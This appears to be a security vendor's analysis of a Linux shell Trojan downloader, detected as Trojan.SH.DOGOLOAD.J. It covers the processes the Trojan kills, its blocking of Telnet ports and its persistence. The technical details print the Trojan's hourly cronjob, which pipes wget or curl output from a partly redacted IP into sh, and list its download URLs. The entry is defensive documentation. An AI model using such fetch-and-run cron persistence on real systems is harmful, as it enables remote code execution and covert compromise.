Analysis by: Jemimah Mae Molina
ALIASES:

Trojan-Downloader.Linux.Sh (IKARUS); Linux/TrojanDownloader.SH.EP trojan (NOD32)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 5,869 bytes
File Type: Other
Memory Resident: No
Initial Samples Received Date: 12 Apr 2019
Payload: Terminates processes, Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Process Termination

This Trojan terminates processes or services that contain any of the following strings if found running in the affected system's memory:

  • config.json -t
  • ynn
  • xmr
  • wc.conf
  • wq.conf
  • wm.conf
  • wt.conf
  • ppl
  • pscf
  • ppc
  • ppp

Other Details

This Trojan does the following:

  • It blocks outgoing Telnet connections on the following ports:
    • 23
    • 2323
  • It creates the following cronjob to download and execute 2.sh every 1 hour:
    • * 1 * * * $LDR http://{BLOCKED}.{BLOCKED}.39.78/2.sh | sh > /dev/null 2>&1
    where $LDR can be any of the following:
    • wget -q -O -
    • curl
  • It connects to the following URL to download a file:
    • http://{BLOCKED}.{BLOCKED}.39.78/4.sh
    • http://{BLOCKED}.{BLOCKED}.39.78/re.php
    • http://{BLOCKED}.{BLOCKED}.39.78/dog2.6
      It saves the file using the following name:where $DIR can be any of the following:
      • /tmp/{random temp name}/tmp
      • /var/tmp

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.940.01
FIRST VSAPI PATTERN DATE: 14 Apr 2019
VSAPI OPR PATTERN File: 14.941.00
VSAPI OPR PATTERN Date: 15 Apr 2019

Scan your computer with your Trend Micro product to delete files detected as Trojan.SH.DOGOLOAD.J. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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